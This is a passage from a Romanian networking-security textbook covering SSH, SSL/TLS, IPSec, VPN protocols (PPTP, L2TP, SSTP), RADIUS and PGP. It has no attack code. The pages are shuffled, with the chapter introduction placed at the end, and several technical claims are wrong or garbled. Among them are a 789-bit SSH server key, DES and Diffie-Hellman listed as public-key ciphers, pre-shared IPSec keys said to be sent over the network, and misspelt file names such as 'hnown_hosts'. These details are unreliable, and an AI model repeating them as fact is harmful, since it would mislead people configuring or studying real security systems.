a serverului conexiunea va înceta;
3. după decizia clientului de a continua conexiunea se trece la Protocolul Binary Pacher,
protocol care conține un pachet cu o lungime de 32 biți;
4. la pasul următor serverul preia inițiativa și trimite clientului identitatea sa, sub forma
unei chei publice; această cheie este creată în timpul instalară serverului openssh.
5. în cazul în care clientul realizează pentru prima dată conexiunea cu serverul respectiv,
acesta va fi informat printr-un mesaj de avertizare despre identitatea serverului (unele
programe permit înregistrarea acestei identității în memoria chase);
6. clientul mai primește o informație referitoare la cheia serverului; această cheie este
regenerată la fiecare oră; dimensiunea standard a cheii este de 789 biți;
7. clientul trimite un răspuns serverului prin procedeul denumit checkbytes 8 biți, iar la
final serverul furnizează clientului informațiile despre metoda de criptare și informațiile
despre autentificare;
8. în funcție de lista cu algoritmi de criptate suportată de server, clientul va crea o cheie
simetrică pe care o va trimite serverului; aceasta cheie simetrică va fi folosită pentru
procesul de criptare și decriptare a datelor trimise prin canal în timpul sesiunii; tot la
acest pas clientul va executa o dublă criptare; prima criptare este realizată de serverul
gazdă iar a doua criptare este executată de cheia serverului, astfel se asigură nivelul de
36
securitate optim, deoarece în cazul în care cheia de la serverul host este compromisă
mesajul tot nu va putea fi descifrat fiind păstrat în siguranță de a doua criptare;
9. după dezvăluirea identității serverului către client, a venit momentul ca clientul să se
autentifice pe server; după ce clientul trimite cheia dublă criptată va așteaptă mesajul de
confirmare venit din partea serverului, mesaj care confirmă faptul că serverul este
capabil să decripteze informațiile primite de la client;
10. autentificarea clientului este realizată într-un canal criptat; există mai multe metode care
pot fi utilizate de client în vederea autentificării: cheia publică, parola sau rhosts:
a. cheia publică – aceasta este considerată de protocolul SSH cea mai puternică
metodă de autentificare; se creează o cheie publică și se trimite spre server; după
recepționarea serverului a cheii publice generate de către client va genera un șir
de 256 de biți pe care îl va trimite clientului; clientul se va folosi de cheia privată
pentru a decripta șirul trimis de server iar apoi va genera o valoare hash md5 pe
care o va trimite serverului; dacă server-ul va decripta valoarea trimisă de client
autentificarea este realizată cu succes;
b. parola – este cea mai folosită metodă de autentificare în protocolul SSH; clientul
trimite serverului o parola (care este criptată cu ajutorul cheii simetrice), iar dacă
mecanismul de autentificare al serverului recunoaște parola, clientului îi este
aprobat accesul conexiunii;
c. rhosts – această metodă este recomandată dacă se dorește „trecerea cu vederea”
verificarea parolei; se utilizează fișierul /.ssh/hnown_hosts pentru autentificarea
serverului și fișierul /.rhosts pentru autentificarea clientului; în cazul setării
prealabile a acestor fișiere se elimină în bună măsură furnizarea parolei în mod
interactiv.
38
corespunzătoare. Astfel de certificate digitale sunt eliberate de o autoritate de sine stătătoare.
Certificatele conțin perioada de valabilitate, cheia publică, semnătura digitală și numărul de serie
distinct. Autoritatea CA confirmă identitatea solicitantului, iar mai apoi îi emite acestuia certificatul
digital solicitat. De asemenea autoritatea poate reînnoi sau revoca un anumit certificat digital.
Protocolul SSL/TLS folosește două tipuri distincte de criptări: cu cheie secretă și cu cheie
publică. Cheia secretă se folosește în cazul criptării unor cantități mari de date, deoarece criptarea și
decriptarea este mult mai rapidă față de criptarea cu cheie publică. Cheia publică este folosită pentru
criptarea unei cantități mici de date, de exemplu – a cheii private.
Protocolul record (protocol de înregistrare) primește și criptează toate datele provenite din
nivelul Aplicație și îl pregătește pentru expedierea în următorul nivel (nivelul Transport). Datele
sunt prelucrate, iar mai apoi fragmentate în dimensiuni apropiate algoritmului de criptare, li se
atribuie adresa unică MAC, iar mai apoi sunt criptate (sau decriptate) folosind informațiile care au
fost negociate în timpul protocolului Handshake.
39
Figura 12.3. Comunicarea dintre client și server cu ajutorul protocolului SSL/TLS
40
folosirea unui mecanism de sumarizare a mesajului extins prin folosirea unei chei
(pentru ca numai dacă se cunoaște cheia să poți verifica MAC; acest lucru este specificat
în RFC 2104);
protecție împotriva unor tipuri cunoscute de atacuri (incluzând atacuri de tip “man-in-the
middle”), precum cele de tip forțare la folosirea a unor versiuni mai vechi (și mai puțin
sigure) ale protocolului, sau versiuni mai puțin sigure ale algoritmilor de codare;
mesajul care încheie handshake (“Finished”) care trimite un hash tuturor datelor
schimbate între cele două părți;
funcțiile pseudoaleatore împart datele în două jumătăți și le procesează cu doi algoritmi
diferiți de hash (MD5 și SHA), și apoi se face un XOR între ele; în acest fel se
protejează și de cazurile în care pentru unul dintre acești doi algoritmi se găsește o
vulnerabilitate;
Versiunea curentă a protocolului este TLS 1.2, însă este în proces de finisare o nouă
versiune - TLS 1.3.
În versiunea curentă a protocolului sunt disponibili următorii algoritmi:
pentru schimbul cheilor și verificarea autenticității acestora, se utilizează combinații de
algoritmi: RSA, Diffie-Hellman, DSA, ECDSA;
pentru criptare simetrică: RC4, IDEA, Triple DES, SEED, Camellia sau AES;
pentru funcțiile hash: MD5, SHA, SHA-256/384.
Algoritmii pot fi suplimentați în funcție de versiunea protocolului. Până la versiunea TLS
1.2 au fost de asemenea disponibili algoritmii de criptare simetrică RC2, IDEA, DES, însă ei au fost
eliminați ca fiind nesiguri.
12.3.1 IPSec
IPSec (Internet Protocol Security) este o suită de protocoale pentru securizarea
comunicațiilor peste stiva TCP/IP. Această suită se bazează pe folosirea funcțiilor matematice și a
algoritmilor de criptare și autentificare pentru a asigura confidențialitatea, integritatea și non-
repudierea informațiilor din fiecare pachet IP transmis pe rețea. IPSec este la ora actuală una dintre
cele mai folosite metode de securizare a transmisiei pe Internet, alături de SSL și TLS. Spre
deosebire de acestea, protocoalele IPSec se regăsesc la nivelul 3 al stivei TCP/IP și la nivelul 3 al
stivei ISO-OSI, ceea ce face posibilă securizarea tuturor aplicațiilor care folosesc stiva TCP/IP.
IPSec are o arhitectură de tip end-to-end, compatibilă atât cu stiva IPv4, cât și cu IPv6, unde
integrarea funcțiilor de securizare este nativă, încă de la proiectarea stivei pe 128 de octeți.
Un router sau un server pe care sunt activate protocoalele de securitate IPsec se numește
poartă de securitate (securițy gateway) sau paravan de protecție (firewall). În general, asigurarea
41
securității unei transmisii se realizează la ambele capete ale căii de comunicație, cu două
echipamente care folosesc IPSec lucrând în pereche (IPsec peers). Prin suita IPSec pot fi securizate
comunicațiile între două sau mai multe calculatoare independente, între două sau mai multe
subrețele aflate fiecare în spatele unui gateway care se ocupă de folosirea funcțiilor criptografice
pentru fiecare subrețea aflată în administrarea sa, precum și între un calculator independent și o
subrețea aflată în spatele unui gateway. IPSec se bazează pe proprietățile criptografice ale unor
modele precum Diffie-Hellman, RSA sau DSA și a algoritmilor de criptare și autentificare, cum
sunt 3DES, AES, SHA1, SHA2.
IPsec oferă următoarele servicii de securitate pe nivelul IP al rețelelor TCP/IP:
integritatea conexiunii - asigură faptul că în procesul de comunicație nu intervin entități
neautorizate care să modifice datele sau să genereze mesaje false în rețea;
autentificarea sursei de date - permite identificarea sursei și asigurarea autenticității
mesajelor;
criptarea datelor - asigură confidențialitatea mesajelor transmise și imposibilitatea preluării
neautorizate a informațiilor;
protecția la atacuri în rețea - detectează pachetele repetitive, replici ale aceluiași pachet,
care se transmit la infinit în rețea și pot produce blocaje sau saturarea rețelei (flooding).
În cadrul IPsec autentificarea sursei se face pe baza protocolului AH (Authentication
Header) din suita IPsec (RFC 2401, RFC 2402). Acest protocol asigură autenticitatea mesajelor și a
tuturor informațiilor adiționale incluse în pachet precum și integritatea pachetului de date, prin
aplicarea funcților hash. AH împiedică modificarea ilegală a pachetelor, multiplicarea sau
întârzierea datelor (antireplay security). Pe lângă protocolul AH, există și protocolul ESP
(Encapsulating Security Payload) care asigură autenticitatea, integritatea și confidențialitatea
pachetelor de date. Spre deosebire de protocolul AH, antetul pachetului IP nu este protejat de ESP,
acesta oferind servicii de securitate numai protocoalelor de pe nivelele superioare.
Confidențialitatea datelor este asigurată prin criptare. Protocoalele AH și ESP pot fi implementate
prin diverși algoritmi software și se pot aplica fie individual, fie simultan, în funcție de gradul de
securitate impus pachetelor IP (RFC 2403, RFC 2404). Stabilirea protocoalelor poate avea loc static
sau dinamic. Denumirea oficială a stabilirii statice este manual keying. Metoda dinamică de stabilire
a asocierilor de algoritmi și chei este numită ISAKMP (Internet Security Association and Key
Management Protocol), descrisă în RFC 2408. Pe baza mecanismului ISAKMP/TKE se generează
și se transmit între părți cheile de criptare utilizate de SA (Security Association) în diferite sesiuni,
memorate într-o bază de date proprie ISAKMP ca atribute ale SA. În rețelele TCP/IP, se utilizează
diverși algoritmi de criptare, uzuali fiind cei cu cheie publică (RSA, Diffie-Hellman, DES, 3DES
etc). Există două versiuni ale ISAKMP, IKEv1 și IKEv2 - Internet Key Exchange.
42
În funcție de tipul de încapsulare al traficului supus IPSec, suita poate realiza securizarea
prin încapsulare de tip tunel sau de tip transport.
Încapsularea de tip tunel (IP tunneling) apare în momentul în care entitățile participante la
IPSec sunt de tip gateway; ele au în administrare una sau mai multe subrețele pentru traficul cărora
realizează operații criptografice. Pachetul încapsulat IPSec va avea un set de adrese IP exterioare -
adresele IP ale entităților gateway și un set de adrese IP interioare sau protejate - adresele IP,
publice sau private, ale subrețelelor din spatele acestor gateway-uri. Antetul extern specifică
perechea de entități între care se creează tunelul IP și se aplică măsurile de securitate pe baza IPsec.
Antetul intern precizează destinația finală a pachetului pentru realizarea rutării. ESP protejează
numai pachetul transmis prin tunelul IP, în timp ce AH asigură și securitatea antetului exterior
atașat. De regulă acest mod de operare se utilizează între porți de securitate care execută
împachetarea și despachetarea mesajelor (gateway-to-gateway).
Încapsularea de tip transport (transport mode) apare în momentul în care entitățile
participante la IPSec sunt calculatoare independente, care au instalat un soft specializat IPSec,
realizând operații criptografice pentru propriul trafic. Pachetul încapsulat va avea un singur set de
adrese IP, publice, ale acestor calculatoare. Protocolul de securitate intervine în pachetul IP și
adaugă un antet de securitate imediat după antetul IP (cu sau fără opțiuni exprimate) dar antetul IP
inițial (header-ul) nu se modifică, doar datele transmise sunt securizate (criptate și/sau
autentificate).
Prin folosirea protocolului AH, adresele IP ale sursei, respectiv destinației, nu pot fi
modificate pe parcurs deoarece acest lucru ar duce la modificarea valorii hash. ESP oferă protecție
minimă protocoalelor de nivel superior, în timp ce AH securizează total pachetul, inclusiv antetul
IP. Acest mod de operare se utilizează pentru schimbul de pachete între calculatoarele-gazdă (host-
to-host).
Dacă la unul din capetele canalului de comunicație definit de SA, se găsește un echipament
de securitate (security gateway, firewall), atunci este obligatoriu ca acel SA să lucreze în modul de
tunelare pentru a evita problemele create de existența căilor multiple de rutare precum și pe cele
datorate fragmentării pachetelor.
Configurarea echipamentelor dintr-o rețea în vederea aplicării IPsec se realizează de către o
persoană cu drepturi depline de stabilire a securității rețelei (security officer), în trei etape:
1. crearea grupurilor de securitate (SA) și stabilirea drepturilor și atribuțiilor acestora;
2. configurarea legăturilor dintre SA-uri și stabilirea ierarhiilor de priorități, folosind
ISAKMP/IKE (RFC 2408, RFC 2409);
3. stabilirea modalităților de clasificare a pachetelor IP și de acțiune asupra lor (permite sau
interzice accesul în rețea, aplică procedurile de securitate conform IPsec).
43
Aceste configurații referitoare la IPsec sunt stocate în bazele de date pentru securitatea
rețelei (SPD - Security Policy Database), la care are acces doar administratorul de rețea. Regulile de
securitate aplicate într-o rețea folosind IPsec stabilesc trei moduri posibile de acțiune asupra
pachetelor IP:
1. se aplică pachetului serviciile de securitate conform IPsec;
2. se interzice accesul pachetului în rețea (deny);
3. se acordă permisiunea de acces în rețea, fără aplicarea măsurilor de securitate IP (bypass
IPsec).
Modul de acțiune asupra unui pachet IP se stabilește pe baza antetelor conținute de acesta,
prin operația de clasificare a pachetelor, în funcție de diverși factori de selecție, cum ar fi: adresa IP
a sursei, adresa IP a destinației, portul-sursă, portul-destinație, protocolul de transport, numele
utilizatorului sau al sistemului, gradul de prioritate a informațiilor conținute în pachet.
IPsec oferă posibilitatea unei comunicări sigure în rețelele de arie largă (WAN), în aplicații
precum:
definirea rețelelor virtuale private, în care uzual IPsec este configurat să folosească
protocolul ESP în modul tunel pentru furnizarea confidențialității; pentru o organizație cu
mai multe rețele locale, aflate în diferite locații, traficul intern al rețelelor locale nu este
securizat, în timp ce traficul între acestea utilizează IPsec pentru securizare; IPsec este
activat în echipamentele de acces la rețeaua de arie largă, de exemplu în gateway, router sau
firewall; operațiile de criptare/decriptare și de autentificare executate de IPsec sunt
transparente pentru stațiile de lucru și serverele din rețelele locale;
accesul securizat de la distanță prin rețeaua publică de Internet la un sistem în care este
implementat protocolul IPsec; se poate apela la un furnizor de Internet pentru a obține
accesul securizat la o rețea privată;
îmbunătățirea securității aplicațiilor distribuite care au o serie de mecanisme de securitate
incluse; principala caracteristică a IPsec care îi permite să securizeze o gamă atât de largă de
aplicații distribuite (e-mail, transfer de fișiere, acces Web etc.), este faptul că pentru întregul
trafic IP se pot utiliza mecanismele de criptare și/sau autentificare.
Pentru o SA ca și identificatori avem un număr aleatoriu, denumit identificator de securitate
(SPI - Security Parameter Index), o adresă IP de destinație și un protocol de securitate (AH sau
ESP).
Identificatorul de securitate constă într-un sir de biți cu semnificație locală, inclus în
antetele AH și ESP pentru a permite destinației să selecteze SA-ul pentru procesarea pachetului
recepționat.
44
Adresa IP de destinație este adresa nodului de destinație al SA, care poate fi un calculator-
gazdă (host) sau un echipament de comunicație al rețelei (router, firewall, access point).
Identificatorul protocolului de securitate indică pentru care protocol, AH sau ESP, lucrează
SA. Dacă este necesară utilizarea ambelor protocoale de securitate în Internet (AH si ESP), atunci
se creează și se configurează legăturile dintre două sau mai multe SA.
Pentru ca în momentul securizării traficului fiecare entitate să cunoască parametrii de
securizare pentru fiecare tip de trafic este folosit identificatorul SPI - Security Parameter Index, un
index pe baza de date SAD. Folosind acest index și valoarea adresei IP din destinația pachetului ce
urmează a fi supus procesului de criptare sau autentificare, fiecare entitate IPSec știe exact ce
transformare trebuie realizată pe fiecare pachet IP pentru ca acesta să poată fi corect decriptat și
interpretat la receptor.
În momentul recepției unui pachet astfel securizat procesul de decriptare este asemănător cu
cel realizat la criptare. În cazul în care sunt mai mult de doi participanți la SA, în cazul traficului de
tip multicast, asocierea de securitate este furnizată pentru întregul grup și este prezentă pe fiecare
sistem participant. Pot exista, de asemenea, mai multe asocieri de securitate pentru un același grup
de entități, fiecare cu diverse nivele de securitate în interiorul grupului.
În funcție de al tipului entității participante la IPSec putem avea modelul de trafic:
LAN-to-LAN sau site-to-site, în cazul în care entitățile sunt două gateway-uri de securitate
care realizează operații criptografice pentru subrețele protejate aflate în administrarea lor;
Remote-Access sau Dial-Up VPN, în cazul în care entitățile sunt un gateway de securitate
care are în administrare o subrețea și un calculator independent care dorește să comunice cu
acea subrețea.
Această manieră de clasificare se pretează în exclusivitate tipului de încapsulare tunel,
neavând sens pentru tipul transport, în principal datorită faptului că un pachet trimis pe rețea are
două seturi de adrese IP: un set „extern”, reprezentat de adresele IP are calculatorului și al gateway-
ului căruia se adresează, și un set de adrese IP „intern”, reprezentat de adresa IP a unei mașini din
interiorul rețelei și a unei adrese IP noi a calculatorului, obținută de la acel gateway pentru a avea
adresabilitate de nivel IP în interiorul rețelei la care acest calculator se conectează. Procedeul prin
care un calculator obține, în momentul negocierii IPSec o adresă de la gateway pentru a avea acces
într-o rețea internă este numit mode-config în scenariile de tip IKEv1 sau configurare remote în cele
de IKEv2.
În momentul negocierii de IKE a parametrilor asocierii de securitate se realizează și faza de
autentificare mutuală sau unilaterală a entităților, existând mai multe modalități de a realiza această
autentificare:
45
PSK - Pre-Shared Key: pentru autentificare, fiecare entitate are pre-configurată o cheie
secretă, o parolă; în momentul realizării negocierii IKE, entitățile trimit această cheie pe
rețea, spre a fi verificată de entitățile omoloage și verifică, la rândul lor, că o anumită
entitate-pereche are o anumită cheie secretă;
PKI - Public Key Infrastructure: pentru autentificare este folosit un sistem de tip PKI;
fiecare entitate are un certificat digital semnat de o autoritate de certificare publică sau
internă a companiei, dar de încredere pentru toate entitățile participante în IPSec; în faza de
autentificare din IKE, fiecare entitate își trimite certificatul digital către omologi spre a fi
verificat și verifică la rândul ei validitatea acelui certificat digital;
EAP - Extensible Authentication Protocol: la rândul său un framework, de data aceasta de
autentificare, EAP nu realizează însuși autentificarea, ci oferă o schemă de mesaje de
autentificare ce folosește metode specifice, cum sunt MD5, GTC, TLS, SIM, AKA; în faza
de autentificare, EAP este folosit ca extensie a protocolului IKEv2, acest framework nefiind
suportat în IKEv1.
Cele mai multe implementări de IPSec încearcă să realizeze pe cât posibil optimizarea
utilizării resurselor computaționale disponibile. Un exemplu în acest sens este închiderea tunelului
IPSec în cazul în care nu se mai trimit date pentru o anumită durată de timp, sau dacă lărgimea de
bandă ocupată pentru o anumită conexiune este nulă. Dacă aceasta este configurația implicită,
pentru anumite conexiuni se poate dori suprascrierea ei și menținerea acelei conexiuni. Una dintre
posibilitățile puse la dispoziție de standard se numește DPD - Dead Peer Detection. Acesta este un
mecanism de timp keepalive care presupune trimiterea unui pachet între capetele conexiunii, la un
interval stabilit.
Cu toate „măsurile de siguranță” luate în cazul IPSec, au fost raportate și unele
vulnerabilităţi în anumite configuraţii ale acestuia, acestea putând fi exploatate de atacatori pentru a
sustrage informaţii confidenţiale. Aceste atacuri sunt posibile când IPSec foloseşte ESP în modul de
funcţionare tunnel cu opţiunea confidentiality only, sau opţiunea integrity protection oferită de
modulul AH sau de un protocol de nivel mai ridicat. Dacă un atacator poate intercepta şi modifica
comunicaţiile IPSec și ICMP între două servere de tip security gateway, exploatând această
vulnerabilitate poate lansa atacuri de tip Destination Address Rewriting, IP Options modification şi
Protocol Field modification, astfel făcând posibilă sustragerea de informaţii din datele transferate
folosind IPsec. Ca și soluţie este recomandat să se configureze ESP astfel încât să folosească atât
opţiunea confidentiality, cât şi integrity protection și să se folosească protocolul AH alături de ESP
pentru a oferi protecţia integrităţii.
12.3.2. VPN
46
Noțiunea de rețea virtuală privată a fost dată în compartimentul precedent. În continuare
vom face cunoștință cu protocoalele, în baza cărora funcționează un VPN.
VPN-urile nu pot face conexiunile online complet anonime, dar de obicei pot spori nivelul
de confidențialitate și securitate. Pentru a împiedica scurgerea informațiilor private, rețelele VPN
permit în mod obișnuit doar acces autentificat la distanță, utilizând protocoale de tunelizare și
tehnici de criptare.
Modelul de securitate VPN oferă:
confidențialitate, astfel încât, chiar dacă traficul de rețea este „ascultat” la nivelul
pachetelor, un atacator ar vedea numai date criptate;
autentificarea expeditorului, pentru a împiedica accesul utilizatorilor neautorizați la VPN;
integritatea mesajelor, pentru a detecta eventualele cazuri de manipulare a mesajelor
transmise.
Un tunel permite încapsularea unui pachet dintr-un tip de protocol în cadrul datagramei7
unui alt protocol. De exemplu, VPN utilizează PPTP pentru a încapsula pachetele IP printr-o rețea
publică, cum ar fi Internetul.
O soluție VPN poate fi configura în baza protocoalelor:
Point-to-Point Tunneling Protocol (PPTP),
Layer 2 Tunneling Protocol (L2TP),
Secure Socket Tunneling Protocol (SSTP).
PPTP, L2TP și SSTP depind în mare măsură de caracteristicile specificate inițial pentru
protocolul Point-to-Point Protocol (PPP), care a fost proiectat pentru a trimite date prin conexiunea
dial-up sau conexiunea dedicată point-to-point. Pentru IP, PPP încapsulează pachetele IP în cadrul
frame-urilor PPP și apoi transmite pachetele PPP încapsulate prin intermediul unei legături point-to-
point. PPP a fost definit inițial ca protocolul care va fi utilizat între un client dial-up și un server de
acces la rețea.
Protocolul PPTP permite ca traficul multiprotocol să fie criptat și apoi încapsulat într-un
antet IP care să fie trimis într-o rețea IP sau într-o rețea IP publică, cum ar fi Internetul. PPTP poate
fi utilizat pentru conexiuni la distanță și conexiuni VPN site-to-site. Atunci când utilizează
Internetul ca rețea publică pentru VPN, serverul PPTP este un server VPN ce suportă PPTP cu o
interfață pe Internet și o a doua interfață pe intranet.
PPTP încapsulează frame-uri PPP în datagrame IP pentru transmisie pe rețea. PPTP
utilizează o conexiune TCP pentru gestionarea tunelurilor și o versiune modificată a Generic
7
Datagrama este un bloc de informații transmis de un protocol, fără a stabili mai întâi o conexiune și a crea un canal
virtual. Orice protocol care nu stabilește o pre-conexiune (și, de obicei, nu controlează ordinea de recepție, transmitere
și dublare a pachetelor) se numește datagram protocol. Așa sunt, de exemplu, protocoalele Ethernet, IP, UDP etc.
Numele „datagrama” a fost ales prin analogie cu cuvântul telegrama.
47
Routing Encapsulation (GRE) pentru a încapsula frame-uri PPP pentru datele tunelate. Conținutul
relevant (payload) al frame-urilor PPP încapsulate poate fi criptat, comprimat sau și una și alta.
Structura unui pachet PPTP care conține o datagramă IP este prezentată în figura 12.4.
Frame-ul PPP este criptat cu Microsoft Point-to-Point Encryption (MPPE) utilizând chei de
criptare generate de procesul de autentificare MS-CHAP v2 sau EAP-TLS. Clienții de creare a rețelei
virtuale private trebuie să utilizeze protocolul de autentificare MS-CHAP v2 sau EAP-TLS, pentru
a putea cripta conținutul relevant al frame-urilor PPP. PPTP utilizează criptarea realizată de PPP și
doar încapsulează frame-ul PPP criptat anterior.
Protocolul L2TP permite ca traficul multiprotocol să fie criptat și apoi trimis prin orice mod
care suportă livrarea point-to-point a datagramei, cum ar fi protocolul IP sau modul de transfer
asincron (ATM8). L2TP este o combinație între PPTP și L2F9, o tehnologie dezvoltată de Cisco
Systems, Inc. L2TP reprezintă cele mai bune caracteristici ale PPTP și L2F.
Spre deosebire de PPTP, implementarea de către Microsoft a L2TP nu utilizează MPPE
pentru a cripta datagramele PPP. L2TP se bazează pe securitatea IPsec în modul Transport pentru
serviciile de criptare. Combinația dintre L2TP și IPsec este cunoscută sub numele de L2TP/IPsec.
Atât L2TP cât și IPsec trebuie să fie suportate atât de clientul VPN, cât și de serverul VPN.
L2TP este instalat cu protocolul TCP/IP.
Încapsularea pentru pachetele L2TP/IPsec constă din două nivele: încapsularea L2TP și
încapsularea IPSsec.
La încapsularea L2TP, un frame PPP (o datagramă IP) este înfășurat cu un antet L2TP și un
antet UDP (figura 12.5).
8
Mod de transfer asincron (ATM - Asynchronous Transfer Mode) este un protocol de comutație temporală asincronă,
de mare viteză, orientată pe conexiune și bazată pe circuite virtuale, folosită în transportul traficului de rețea. ATM
împachetează informațiile în celule de lungime fixă a câte 53 de octeți, care pot fi interschimbate rapid de conexiunile
logice dintr-o rețea informatică.
9
L2F sau Layer 2 Forwarding este un protocol de tunel dezvoltat de Cisco Systems, Inc. pentru a stabili conexiuni de
rețea privată virtuală prin Internet. L2F nu oferă de la sine criptarea sau confidențialitatea și se bazează pe protocolul de
tunel care asigură confidențialitatea. L2F a fost proiectat anume pentru a realiza tuneluri de tip PPP.
48
Figura 12.5. Structura unui pachet L2TP care conține o datagramă IP
La încapsularea IPsec mesajul L2TP obținut este apoi înfășurat cu IPsec Encapsulating
Security Payload (ESP) header și trailer, un IPsec Authentication trailer care asigură integritatea și
autentificarea mesajelor și un header IP final. În header-ul IP sunt adresele IP sursă și destinație
care corespund clientului VPN și serverului VPN (figura 12.6).
Criptarea. Mesajul L2TP este criptat, utilizând chei de criptare generate de procesul de
negociere Internet Key Exchange (IKE).
Protocolul SSTP este un protocol de tunelare care utilizează protocolul HTTPS prin portul
TCP 443 pentru a trece traficul prin firewall-uri și proxy-uri web care ar putea bloca traficul PPTP
și L2TP/IPsec. SSTP oferă un mecanism de încapsulare a traficului PPP pe canalul TLS al
protocolului HTTPS. Utilizarea PPP oferă suport pentru metode puternice de autentificare, cum ar fi
EAP-TLS. SSL asigură securitatea la nivelul Transport prin negocierea cheii, criptare și verificarea
integrității.
Atunci când un client încearcă să stabilească o conexiune VPN bazată pe SSTP, protocolul
stabilește mai întâi un nivel HTTPS bidirecțional cu serverul SSTP. Prin intermediul acestui nivel
HTTPS, pachetele de protocoale se transmit ca payload.
Încapsularea. SSTP încapsulează frame-uri PPP în datagrame IP pentru a fi transmisie prin
rețea. SSTP utilizează o conexiune TCP (prin portul 443) pentru gestionarea tunelurilor, precum și a
frame-urilor de date PPP.
Criptarea. Mesajul SSTP este criptat cu canalul TLS al protocolului HTTPS.
Pe scurt, mecanismul de funcționare al protocolului SSTP este următorul (figura 12.7):
49
1. este stabilită conexiunea TCP de la client la server (implicit pe portul 443);
2. SSL validează certificatul serverului; dacă certificatul este valid, conexiunea este
stabilită, altfel conexiunea este întreruptă;
3. clientul trimite pachete de control SSTP prin sesiunea HTTPS, care stabilește starea
SSTP pe ambele părți;
4. negocierea PPP asupra SSTP; clientul se autentifică pe server și leagă adresele IP de
interfața SSTP;
5. tunelul SSTP este acum stabilit și încapsularea pachetelor poate începe.
Protocoalele PPTP, L2TP și SSTP stau la baza VPN realizate în IPsec, Datagram Transport
Layer Security (DTLS), utilizat în Cisco AnyConnect VPN și în OpenConnect VPN, Microsoft
Point-to-Point Encryption (MPPE), Microsoft Secure Socket Tunneling Protocol (SSTP), Multi
Path Virtual Private Network (MPVPN, Secure Shell (SSH) VPN și altele.
50
12.4.2. RADIUS
Remote Authentication Dial In User Service (RADIUS) este un protocol standard de
Internet care furnizează autentificare centralizată, contabilizare şi servicii de gestiune a IP-urilor
pentru utilizatorii de acces la distanţă într-o reţea dial-up distribuită (deseori se utilizează acronimul
AAA - Authentication, Authorization, Accounting – pentru aceste trei servicii).
Modelul client-server RADIUS are un NAS (Network Access Server - Server de acces la
reţea) care operează drept client al unui server RADIUS. Sistemul, acţionând ca NAS-ul, trimite
informaţiile de conexiune şi utilizator la un server RADIUS desemnat utilizând protocolul standard
RADIUS definit în RFC 2865 (figura 12.8).
51
Figura 12.9. Contabilizarea printr-un server RADIUS
Din protocolul RADIUS a fost derivat protocolul DIAMETER, el având multe îmbunătățiri
în diverse aspecte și este, în general, considerat a fi protocolul de autentificare, autorizare și
contabilizare (AAA) de următoarea generație, el fiind un protocol la nivelul aplicație.
52
TEMA 12: PROTOCOALE DE SECURITATE ÎN REȚEA
Obiectivele temei:
Analiza protocoalelor la Nivelul Aplicație.
Analiza protocoalelor la Transport.
Analiza protocoalelor la Nivelul Rețea.
Analiza protocoalelor la Nivelul Legătură de Date.
Cuvinte-cheie:
PGP, SET, VPN,
S/MIME, KERBEROS, PPP,
S-HTTP, TLS/SSL, RADIUS
HTTPS, IPSec,
Protocoale de rețea de bază IP, TCP, UDP, BGP, DNS nu mai pot asigura nivelul necesar de
securitate, fiind pasibile diverselor atacuri, iar cerința și aspirația de asigurare a securității și a
caracterului privat al informației au condus la elaborarea și implementarea mai multor protocoale și
standarde de securitate, printre care se numără: protocoalele Secure Socket Layer (SSL) și Secure
Transport Layer (TLS), Internet Protocol Security (IPSec), Secure HTTP (S-HTTP), protocoale de
securitate pentru e-mail (PGP și S / MIME), DNDSEC, SSH și altele. Aceste protocoale au ca
obiectiv asigurarea securității informației pe întreaga stivă a protocolului TCP/IP.
12.1.1. PGP
Cerințele de securitate în poșta electronică au condus la realizarea mai multor pachete de
programe destinate protecției criptografice a scrisorilor trimise prin rețele. Dintre acestea, cel mai
popular este PGP (Pretty Good Privacy) dezvoltat de Philip Zimmermann în SUA. Acest pachet de
programe a stârnit serioase controverse, datorită răspândirii sale pe Internet și a folosirii lui în toată
lumea, fără să se respecte drepturile de licență și de export, destul de rigide în privința algoritmilor
criptografici. Zimmerman a fost anchetat, în 1994, de o comisie federală, pentru acuzația de
nerespectare a legilor americane privind exportul de sisteme criptografice. FBI l-a învinuit pe
Zimmerman de punerea pe Internet a PGP-ului, în arhive publice, ceea ce a condus la o răspândire
necontrolabilă a utilizării sale. PGP-ul este folosit astăzi de diverse categorii de utilizatori, de la
simpli studenți și particulari pană la organizații naționale, internaționale și agenții guvernamentale.
PGP este un pachet de programe destinat protecției poștei electronice și a fișierelor, prin
cifrare clasică și cu chei publice. Cu ajutorul său se pot stabili modalități sigure de comunicație între
persoane, nefiind necesară schimbarea prealabilă a unor chei de cifrare. PGP include un sistem sigur
de gestiune a cheilor, autentificarea datelor prin semnătură digitală și compresia datelor. El
funcționează pe diferite platforme, inclusiv MS-DOS, UNIX, VAX/VMS și altele.
PGP satisface trei cerințe fundamentale: caracterul privat al poștei electronice, autentificarea
emițătorului și autentificarea mesajelor. Aceste cerințe sunt realizate prin:
criptarea fișierelor - poate fi folosit pentru a cripta fișiere proprii, folosind unul dintre
algoritmii de criptare cu cheie secretă AES, CAST5, 3DES, IDEA, Twofish, Blowfish,
Camellia; după criptare, fișierul poate fi decriptat doar de cineva care cunoaște parola de
criptare a fișierului;
crearea de chei secrete si publice - aceste chei sunt necesare pentru a cripta și semna
mesajele transmise sau pentru a decripta mesajele primite;
gestionarea cheilor - PGP-ul poate fi folosit pentru a crea și întreține o bază de date care să
conțină cheile publice ale persoanelor cu care vrem să corespondăm;
transmiterea și recepționarea de mesaje e-mail criptate - cu ajutorul PGP-ului se pot trimite
scrisori criptate și decripta scrisorile primite;
folosirea semnăturilor digitale - PGP-ul poate face o semnătură electronică a documentelor
sau poate verifica semnătura oricărei persoane, folosind algoritmul RSA sau ELGAmal și
una din funcțiile hash MD5, SHA-1, RIPEMD-160, SHA-256, SHA-384, SHA-512;
certificarea cheilor - PGP-ul o asigură prin semnarea electronică a cheilor publice;
revocarea, dezactivarea și custodia cheilor: dacă cheile sunt compromise, acestea pot fi
revocate sau dezactivate; acestea pot fi ținute la loc sigur, folosind facilitățile de custodie;
configurarea după necesități a PGP-ului - setările variabilelor din fișierul de configurare a
PGP-ului pot fi schimbate;
folosirea serverelor de chei PGP de pe Internet – există posibilitatea de a adăuga o cheie
publică la o bază de date server sau de a obține alte chei publice care se află pe server.
Securitatea mesajelor în PGP este asigurată de criptografia cu cheie privată, numită de PGP
criptografie convențională. PGP-ul nu reclamă un schimb prealabil de chei între utilizatori. El
folosește o combinație a sistemului criptografic simetric și cu chei publice: sistemul simetric este
utilizat pentru cifrarea conținutului scrisorilor sau fișierelor, iar sistemul asimetric RSA - pentru
protecția și distribuția cheii K de unică întrebuințare (numită și cheie de sesiune) cu care se face
